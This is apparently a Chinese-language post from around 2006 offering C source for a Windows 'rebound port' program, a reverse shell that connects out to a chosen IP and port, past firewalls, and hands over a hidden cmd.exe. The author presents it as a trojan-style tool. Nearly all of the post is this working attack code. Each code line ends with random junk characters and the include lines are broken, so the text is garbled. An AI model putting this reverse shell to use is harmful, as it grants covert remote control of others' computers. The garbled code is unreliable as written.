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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )-P!Ae_.v  
Go\VfLLw  
/* ============================== 7 &)]) {Q  
Rebound port in Windows NT >O{7/)gS^  
By wind,2006/7 {5:Zl<0  
===============================*/ wJ"ev.A)  
#include }Ag|gF!_  
#include SQ(apc}N4  
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#pragma comment(lib,"wsock32.lib") y%BX]~  
O;XG^s@5  
void OutputShell(); w*LbH]l<-  
SOCKET sClient; Evu=M-?  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <zB*'m  
7Ur?ep  
void main(int argc,char **argv) WnxEu3U  
{ `"y`AY/N  
WSADATA stWsaData; w8M2N]&:  
int nRet; SBKeb|H8  
SOCKADDR_IN stSaiClient,stSaiServer; rnhFqNT:  
Bt~s*{3$8  
if(argc != 3) ``4wX-y  
{ :xeLt;  
printf("Useage:\n\rRebound DestIP DestPort\n"); *_hLD5K!  
return; WO</Q6+  
} 2wpjU&8W!  
W?,$!]0  
WSAStartup(MAKEWORD(2,2),&stWsaData); W|c.l{A5Q  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |"k&fkS$  
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stSaiClient.sin_family = AF_INET; x !{   
stSaiClient.sin_port = htons(0); crmUrF#  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); CmC0k-%w  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D!FaEN  
{ ," R>}kPli  
printf("Bind Socket Failed!\n"); Df=q-iq<{/  
return; TQ9'76INb  
} 1 p\Ak  
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stSaiServer.sin_family = AF_INET; Vu]h4S:  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )s")y  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &sOM>^SAD  
av'*u  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Wc'Ehyi;  
{ vZjZb(jlN  
printf("Connect Error!"); =Sxol>?t  
return; #s"B-sWE  
} F>Jg~ FD*  
OutputShell(); iB bbr,  
} !oMt_k X  
uEd,rEB>  
void OutputShell() W"sr$K2m|  
{ b~Z=:'m8  
char szBuff[1024]; d79N-O-  
SECURITY_ATTRIBUTES stSecurityAttributes; s44iEh=V(I  
OSVERSIONINFO stOsversionInfo; n6f3H\/P&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #ooc)),  
STARTUPINFO stStartupInfo; f'{>AKi=C  
char *szShell; <MZi<Z`  
PROCESS_INFORMATION stProcessInformation; 'U)8rR  
unsigned long lBytesRead; P^IY: -s  
%g^" ]  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f!g<3X{=  
rihlae5Kz  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); tV`&- H  
stSecurityAttributes.lpSecurityDescriptor = 0; `SOhG?Zo  
stSecurityAttributes.bInheritHandle = TRUE; LM1b I4  
D Vw Cx^  
DP>mNE  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \iZ1W  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); FMS2.E  
Dd/}Ya(Gi  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3%IWGmye4  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zoow*`b|$U  
stStartupInfo.wShowWindow = SW_HIDE; oh&Y< d0  
stStartupInfo.hStdInput = hReadPipe; 3?ba 1F0Nw  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G[6=u|(M  
yX9B97XyC  
GetVersionEx(&stOsversionInfo); < l[` "0  
% 0v*n8  
switch(stOsversionInfo.dwPlatformId) ;BTJ%F.  
{ )73DT3-0$  
case 1: lIq~~cv)  
szShell = "command.com"; O,9X8$5H-a  
break; G%OpO.Wf  
default: k+\7B}7F  
szShell = "cmd.exe"; q3\!$IM.  
break; */U$sZQ)  
} 6y@<?08Q  
iEhDaC[e(b  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {HuLuP 0t  
@,vv\M0)p  
send(sClient,szMsg,77,0); F*<Ws;j  
while(1) #NF+UJYJ&'  
{ # U`&jBU  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^ wQcB  
if(lBytesRead) Q-Y@)Mf~?0  
{ liG~y|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); LW?2}`+  
send(sClient,szBuff,lBytesRead,0); /nM*ljfB\  
} UCF[oO>v  
else rqC1  
{ ZOHRUm  
lBytesRead=recv(sClient,szBuff,1024,0); yS"0/Rm}  
if(lBytesRead<=0) break; g =\13# F  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); J~2 CD*v  
} r %xB8e9  
} j?J=w=.Nx  
m t.,4  
return; WFdem/\kX  
}
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